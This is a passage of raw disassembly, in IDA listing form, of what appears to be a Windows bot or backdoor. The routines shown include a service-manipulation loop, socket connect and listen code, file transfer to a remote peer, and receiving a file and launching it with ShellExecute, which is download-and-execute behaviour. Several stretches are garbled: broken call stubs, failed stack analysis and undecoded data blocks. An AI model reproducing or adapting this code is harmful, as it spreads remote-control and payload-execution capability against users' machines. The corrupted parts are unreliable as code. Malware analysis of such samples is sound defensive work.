eax, [ebp+var_10] push edi push eax call ds:dword_41F054 ; GetLocalTime mov ebx, offset dword_433AD4 mov edi, 80h mov esi, offset dword_42FAD4 loc_409637: ; CODE XREF: sub_409615+3Dj cmp byte ptr [ebx], 0 jz short loc_40964E push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_414DD0 add esp, 0Ch loc_40964E: ; CODE XREF: sub_409615+25j sub ebx, edi cmp ebx, esi jge short loc_409637 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_413B2A add esp, 28h pop edi pop esi pop ebx leave retn sub_409615 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409689 proc near ; CODE XREF: sub_4060A6+15Bp ; seg000:004063DDp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41551F lea eax, [ebp+var_80] push eax call sub_409615 add esp, 14h leave retn sub_409689 endp ; =============== S U B R O U T I N E ======================================= sub_4096B5 proc near ; CODE XREF: seg000:004107E1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_42FAD4 xor ecx, ecx loc_4096BC: ; CODE XREF: sub_4096B5+13j mov [eax], cl add eax, 80h cmp eax, offset dword_433AD4 jl short loc_4096BC cmp [esp+arg_C], ecx push esi mov esi, offset dword_427A64 jnz short loc_4096EC push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_4110B0 add esp, 14h loc_4096EC: ; CODE XREF: sub_4096B5+1Fj push esi call sub_409615 pop ecx pop esi retn sub_4096B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096F5 proc near ; DATA XREF: seg000:00410891o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_409748 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_427ACC push eax push [ebp+var_11C] call sub_4110B0 add esp, 14h loc_409748: ; CODE XREF: sub_4096F5+33j cmp [ebp+var_98], 0 jz short loc_409768 lea eax, [ebp+var_98] push eax call sub_413B1F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_409768 mov [ebp+var_8], eax loc_409768: ; CODE XREF: sub_4096F5+5Aj ; sub_4096F5+6Ej and [ebp+arg_0], 0 mov esi, offset dword_42FAD4 loc_409771: ; CODE XREF: sub_4096F5+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_4097CB cmp byte ptr [esi], 0 jz short loc_4097BA cmp [ebp+var_98], 0 jz short loc_4097A0 cmp [ebp+var_4], 0 jnz short loc_4097A0 lea eax, [ebp+var_98] push eax push esi call sub_407FEA pop ecx test eax, eax pop ecx jz short loc_4097BA loc_4097A0: ; CODE XREF: sub_4096F5+90j ; sub_4096F5+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_4110B0 add esp, 14h loc_4097BA: ; CODE XREF: sub_4096F5+87j ; sub_4096F5+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_433AD4 jl short loc_409771 loc_4097CB: ; CODE XREF: sub_4096F5+82j lea eax, [ebp+var_31C] push offset dword_427A9C push eax call sub_4135AD xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_409805 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_4110B0 add esp, 14h loc_409805: ; CODE XREF: sub_4096F5+EEj lea eax, [ebp+var_31C] push eax call sub_409615 push [ebp+var_18] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h jnz short near ptr loc_40987E+4 pop esi sub_4096F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409824 proc near ; CODE XREF: sub_4082BD+1Ep ; sub_409894+4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_427AF8 xor esi, esi mov ebx, offset dword_4282AC loc_409837: ; CODE XREF: sub_409824+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_42F6BC cmp [ebp+arg_0], esi jz short loc_409871 push [ebp+arg_0] call sub_413DB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call ds:dword_42F72C jmp short loc_40987B ; --------------------------------------------------------------------------- loc_409871: ; CODE XREF: sub_409824+2Fj push ebx push [ebp+var_4] call ds:dword_42F674 loc_40987B: ; CODE XREF: sub_409824+4Bj push [ebp+var_4] loc_40987E: ; CODE XREF: sub_4096F5+12Cj call ds:dword_42F6E4 add edi, 8 cmp edi, offset dword_427B10 jl short loc_409837 pop edi pop esi pop ebx leave retn sub_409824 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409894 proc near ; CODE XREF: sub_409894+16j ; DATA XREF: seg000:0040AED5o arg_0 = dword ptr 4 push [esp+arg_0] call sub_409824 pop ecx push ds:dword_427AF0 call ds:dword_41F058 ; Sleep jmp short sub_409894 sub_409894 endp ; =============== S U B R O U T I N E ======================================= sub_4098AC proc near ; CODE XREF: sub_4098E7+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4098E1 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_4098C5: ; CODE XREF: sub_4098AC+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_41F254[eax*4] xor esi, eax inc edx dec edi jnz short loc_4098C5 pop edi pop ebx loc_4098E1: ; CODE XREF: sub_4098AC+Ej mov eax, esi pop esi not eax retn sub_4098AC endp ; =============== S U B R O U T I N E ======================================= sub_4098E7 proc near ; CODE XREF: seg000:0040A3C7p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_413E5F mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_413CA8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_409936 loc_40990C: ; CODE XREF: sub_4098E7+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40993A inc ebx push ebx push esi call sub_41556F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409936 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_414C40 add esp, 10h jmp short loc_40990C ; --------------------------------------------------------------------------- loc_409936: ; CODE XREF: sub_4098E7+23j ; sub_4098E7+39j xor eax, eax jmp short loc_409955 ; --------------------------------------------------------------------------- loc_40993A: ; CODE XREF: sub_4098E7+29j dec ebx push ebx push esi call sub_4098AC push esi mov ebx, eax call sub_413ED3 push edi call sub_413C00 add esp, 10h mov eax, ebx loc_409955: ; CODE XREF: sub_4098E7+51j pop edi pop esi pop ebx retn sub_4098E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409959 proc near ; CODE XREF: seg000:00409A12p ; sub_409F42+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_42F788 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4099D5 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_42F708 push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_42F748 cmp eax, esi jnz short loc_4099BA push [ebp+arg_0] call ds:dword_42F78C test eax, eax jz short loc_4099D5 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4099BA: ; CODE XREF: sub_409959+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_42F6B0 cmp eax, esi jnz short loc_4099D9 push edi call ds:dword_42F7A0 loc_4099D5: ; CODE XREF: sub_409959+1Bj ; sub_409959+58j mov eax, esi jmp short loc_4099DB ; --------------------------------------------------------------------------- loc_4099D9: ; CODE XREF: sub_409959+73j mov eax, edi loc_4099DB: ; CODE XREF: sub_409959+7Ej pop edi pop esi leave retn sub_409959 endp ; --------------------------------------------------------------------------- loc_4099DF: ; DATA XREF: seg000:0040BDD4o push ebp mov ebp, esp mov eax, 11B4h call sub_413E30 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1B4h] rep movsd push 1 pop esi push dword ptr [ebp-14h] mov [eax+1B0h], esi lea eax, [ebp-1ACh] push eax call sub_409959 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short near ptr loc_409A71+1 lea eax, [ebp-11B4h] push offset dword_427B9C push eax call sub_4135AD xor edi, edi pop ecx cmp [ebp-8], edi pop ecx jnz short loc_409A55 push edi lea eax, [ebp-11B4h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push ebx call sub_4110B0 add esp, 14h loc_409A55: ; CODE XREF: seg000:00409A38j lea eax, [ebp-11B4h] push eax call sub_409615 push dword ptr [ebp-10h] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h loc_409A71: ; CODE XREF: seg000:00409A1Ej db 2Eh push offset byte_42E348 push ebx call loc_408CA5 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short near ptr loc_409ADC+1 lea eax, [ebp-11B4h] push offset dword_427B58 push eax call sub_4135AD xor edi, edi pop ecx cmp [ebp-8], edi pop ecx jnz short loc_409AB9 push edi lea eax, [ebp-11B4h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-94h] push eax push ebx call sub_4110B0 add esp, 14h loc_409AB9: ; CODE XREF: seg000:00409A9Cj lea eax, [ebp-11B4h] push eax call sub_409615 pop ecx push ebx call ds:dword_42F7A0 push dword ptr [ebp-10h] call sub_413375 pop ecx push esi call near ptr 0A70000h loc_409ADC: ; CODE XREF: seg000:00409A82j mov esp, 15FF646Ah pop eax lock inc ecx add [ebx], dh ; --------------------------------------------------------------------------- dw 0BEFFh dd 1000h, 4C858D56h, 57FFFFEEh, 9B36E850h, 0C4830000h dd 4C858D0Ch, 57FFFFEEh, 0FF535056h, 42F72015h, 7EC08500h dd 4C858D38h, 68FFFFEEh, 423020h, 0A1AEE850h, 858D0000h dd 0FFFFEE4Ch, 0EF63E850h, 0C483FFFFh, 74C0850Ch, 0FF646A14h dd 41F05815h, 0E8076A00h, 975Dh, 7559C085h, 4C858DA3h dd 68FFFFEEh, 427B10h, 9A53E850h, 7D390000h, 755959F8h dd 858D571Bh, 0FFFFEE4Ch, 50F475FFh, 0FF6C858Dh, 5350FFFFh dd 7537E8h, 14C48300h, 0EE4C858Dh, 0E850FFFFh, 0FFFFFA8Dh dd 15FF5359h, 42F7A0h, 0E8F075FFh, 97DDh, 61E85759h, 0F0006664h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BA0 proc near ; DATA XREF: seg000:0040FA4Eo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call ds:dword_42F788 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_409BEE push offset dword_427D3C jmp loc_409DA7 ; --------------------------------------------------------------------------- loc_409BEE: ; CODE XREF: sub_409BA0+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_413630 add esp, 0Ch mov [ebp+var_30], 2 push esi call ds:dword_42F708 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call ds:dword_42F734 test eax, eax jz short loc_409C2C push offset dword_427D04 jmp loc_409DA7 ; --------------------------------------------------------------------------- loc_409C2C: ; CODE XREF: sub_409BA0+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call ds:dword_42F6AC push [ebp+var_2E] call ds:dword_42F644 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_413DB0 pop ecx loc_409C5E: ; CODE XREF: sub_409BA0+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_409C71 push 5Fh pop eax jmp short loc_409C74 ; --------------------------------------------------------------------------- loc_409C71: ; CODE XREF: sub_409BA0+CAj movsx eax, al loc_409C74: ; CODE XREF: sub_409BA0+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_413DB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_409C5E push ebx push edi call ds:dword_42F730 test eax, eax jz short loc_409CA7 push offset dword_427B9C jmp loc_409DA7 ; --------------------------------------------------------------------------- loc_409CA7: ; CODE XREF: sub_409BA0+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:dword_41F078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_409CD1 push offset dword_427CD0 jmp loc_409DA7 ; --------------------------------------------------------------------------- loc_409CD1: ; CODE XREF: sub_409BA0+125j push esi push eax call near ptr 0A70000h mov esi, 50084589h movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_408619 pop ecx push eax call ds:dword_42F748 push eax call ds:dword_42F704 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_427CB8 push eax call sub_4135AD push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_4110B0 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call ds:dword_42F6F0 test eax, eax jg short loc_409D81 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_427C8C push eax push [ebp+var_1FC] call sub_4110B0 jmp loc_409EA5 ; --------------------------------------------------------------------------- loc_409D81: ; CODE XREF: sub_409BA0+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call ds:dword_42F79C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_409DBA push offset dword_427C54 loc_409DA7: ; CODE XREF: sub_409BA0+49j ; sub_409BA0+87j ... lea eax, [ebp+var_3FC] push eax call sub_4135AD pop ecx pop ecx jmp loc_409EA8 ; --------------------------------------------------------------------------- loc_409DBA: ; CODE XREF: sub_409BA0+200j push edi call ds:dword_42F7A0 cmp [ebp+arg_0], esi jz loc_409E6C mov edi, 400h loc_409DCF: ; CODE XREF: sub_409BA0+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_409DDC mov [ebp+var_4], eax loc_409DDC: ; CODE XREF: sub_409BA0+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_413630 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_41F098 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_41F094 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call ds:dword_42F758 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call ds:dword_42F720 cmp eax, ebx jl loc_409F01 mov eax, [ebp+var_4] cmp eax, ebx jl loc_409F01 sub [ebp+arg_0], eax jnz loc_409DCF mov edi, [ebp+var_18] loc_409E6C: ; CODE XREF: sub_409BA0+224j push [ebp+var_8] call ds:dword_41F070 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_40A6A6 pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call ds:dword_42F794 push eax lea eax, [ebp+var_3FC] push offset dword_427C00 push eax call sub_4135AD loc_409EA5: ; CODE XREF: sub_409BA0+1DCj add esp, 14h loc_409EA8: ; CODE XREF: sub_409BA0+215j cmp [ebp+var_50], esi jnz short loc_409ECD push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_4110B0 add esp, 14h loc_409ECD: ; CODE XREF: sub_409BA0+30Bj lea eax, [ebp+var_3FC] push eax call sub_409615 cmp edi, esi pop ecx jbe short loc_409EE5 push edi call ds:dword_42F7A0 loc_409EE5: ; CODE XREF: sub_409BA0+33Cj push [ebp+var_1F8] call ds:dword_42F7A0 push [ebp+var_58] call sub_413375 pop ecx push esi call near ptr 0A70000h xchg eax, edi loc_409F01: ; CODE XREF: sub_409BA0+2AFj ; sub_409BA0+2BAj push esi mov esi, offset dword_427BD4 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_4110B0 push esi call sub_409615 add esp, 18h push [ebp+var_1F8] call ds:dword_42F7A0 push [ebp+var_58] call sub_413375 pop ecx push ebx call near ptr 0A70000h push ebx sub_409BA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F42 proc near ; DATA XREF: seg000:0040BB12o var_1A37C = byte ptr -1A37Ch var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_413E30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call near ptr 0A70000h adc cl, [ebp-1A37Bh] call dword ptr [eax-73h] test ds:8D50FFFFh[edi*8], edi test ds:2468FFFFh[edi*8], edi xor [edx+0], al push eax call sub_4135AD add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_41F078 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_409FCC push offset dword_427E44 jmp short loc_40A012 ; --------------------------------------------------------------------------- loc_409FCC: ; CODE XREF: sub_409F42+81j push eax call ds:dword_41F070 ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_413CA8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_409FF4 push offset dword_427E00 jmp short loc_40A012 ; --------------------------------------------------------------------------- loc_409FF4: ; CODE XREF: sub_409F42+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_409959 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40A025 push offset dword_427DCC loc_40A012: ; CODE XREF: sub_409F42+88j ; sub_409F42+B0j lea eax, [ebp+var_4C4] push eax call sub_4135AD pop ecx pop ecx jmp loc_40A11F ; --------------------------------------------------------------------------- loc_40A025: ; CODE XREF: sub_409F42+C9j mov esi, 1000h loc_40A02A: ; CODE XREF: sub_409F42+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call ds:dword_42F720 mov edi, eax cmp edi, ebx jz near ptr loc_40A0F0+1 cmp edi, 0FFFFFFFFh jz short loc_40A092 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41568F add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call ds:dword_42F704 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call ds:dword_42F758 jmp short loc_40A02A ; --------------------------------------------------------------------------- loc_40A092: ; CODE XREF: sub_409F42+118j lea eax, [ebp+var_4C4] push offset dword_427BD4 push eax call sub_4135AD push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_4110B0 lea eax, [ebp+var_4C4] push eax call sub_409615 push [ebp+var_4] call sub_413C00 add esp, 24h push [ebp+arg_0] call ds:dword_42F7A0 push [ebp+var_1C] call sub_413375 pop ecx push 1 call near ptr 0A70000h loc_40A0F0: ; CODE XREF: sub_409F42+10Fj add cl, [ebx+5299F845h] push eax call sub_40A6A6 push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_427D74 push eax call sub_4135AD add esp, 1Ch loc_40A11F: ; CODE XREF: sub_409F42+DEj cmp [ebp+var_14], ebx jnz short loc_40A144 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_4110B0 add esp, 14h loc_40A144: ; CODE XREF: sub_409F42+1E0j lea eax, [ebp+var_4C4] push eax call sub_409615 cmp [ebp+var_4], ebx pop ecx jz short loc_40A15F push [ebp+var_4] call sub_413C00 pop ecx loc_40A15F: ; CODE XREF: sub_409F42+212j cmp [ebp+arg_0], ebx jbe short loc_40A16D push [ebp+arg_0] call ds:dword_42F7A0 loc_40A16D: ; CODE XREF: sub_409F42+220j push [ebp+var_1C] call sub_413375 pop ecx push ebx call near ptr 0A70000h out dx, al sub_409F42 endp ; sp-analysis failed loc_40A17D: ; DATA XREF: seg000:0040EA44o ; seg000:0040F191o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push ds:dword_42F6B8 call ds:dword_42F618 cmp eax, esi mov [ebp-18h], eax jz loc_40A609 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call ds:dword_41F078 ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short loc_40A244 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_428100 push eax call sub_4135AD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_40A227 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 add esp, 14h loc_40A227: ; CODE XREF: seg000:0040A205j lea eax, [ebp-510h] push eax call sub_409615 push dword ptr [ebp-48h] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h insd loc_40A244: ; CODE XREF: seg000:0040A1E5j xor edi, edi call ds:dword_41F044 ; GetTickCount mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_413E5F pop ecx mov [ebp-1Ch], eax loc_40A25E: ; CODE XREF: seg000:0040A331j push 200h lea eax, [ebp-510h] push esi push eax call sub_413630 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call ds:dword_42F620 cmp [ebp-34h], esi jz short loc_40A2A2 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_40A66F pop ecx pop ecx loc_40A2A2: ; CODE XREF: seg000:0040A28Fj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 0A70000h out 3Bh, al sti jnb short loc_40A2E0 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_40A2CA mov eax, [ebp+8] loc_40A2CA: ; CODE XREF: seg000:0040A2C5j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_413690 add esp, 0Ch loc_40A2E0: ; CODE XREF: seg000:0040A2BCj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_40A2ED cmp edi, [ebp-3Ch] ja short loc_40A337 loc_40A2ED: ; CODE XREF: seg000:0040A2E6j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_40A307 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4280B4 jmp short loc_40A317 ; --------------------------------------------------------------------------- loc_40A307: ; CODE XREF: seg000:0040A2F3j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_428070 loc_40A317: ; CODE XREF: seg000:0040A305j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_434698 push eax call sub_4135AD add esp, 10h cmp [ebp+8], esi ja loc_40A25E loc_40A337: ; CODE XREF: seg000:0040A2EBj cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_40A38C cmp edi, [ebp-3Ch] jz short loc_40A38C push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_428028 push eax call sub_4135AD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 lea eax, [ebp-510h] push eax call sub_409615 add esp, 28h loc_40A38C: ; CODE XREF: seg000:0040A341j ; seg000:0040A346j call ds:dword_41F044 ; GetTickCount sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_41F070 ; CloseHandle push dword ptr [ebp-1Ch] call sub_413ED3 cmp [ebp-38h], esi pop ecx jz short loc_40A416 lea eax, [ebp-148h] push eax call sub_4098E7 cmp eax, [ebp-38h] pop ecx jz short loc_40A416 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_427FEC push eax call sub_4135AD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 lea eax, [ebp-510h] push eax call sub_409615 add esp, 28h loc_40A416: ; CODE XREF: seg000:0040A3BEj ; seg000:0040A3D0j cmp [ebp-14h], esi jz loc_40A656 cmp dword ptr [ebp-44h], 1 jz loc_40A511 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_41F658 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_41F658 fstp qword ptr [esp] push offset unk_427FA0 push eax call sub_4135AD add esp, 1Ch cmp [ebp-30h], esi jnz short loc_40A491 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 add esp, 14h loc_40A491: ; CODE XREF: seg000:0040A46Fj lea eax, [ebp-510h] push eax call sub_409615 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_40A656 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call ds:dword_42F67C cmp [ebp-30h], esi jnz loc_40A656 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_427F68 push eax call sub_4135AD push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 lea eax, [ebp-510h] push eax call sub_409615 add esp, 24h jmp loc_40A656 ; --------------------------------------------------------------------------- loc_40A511: ; CODE 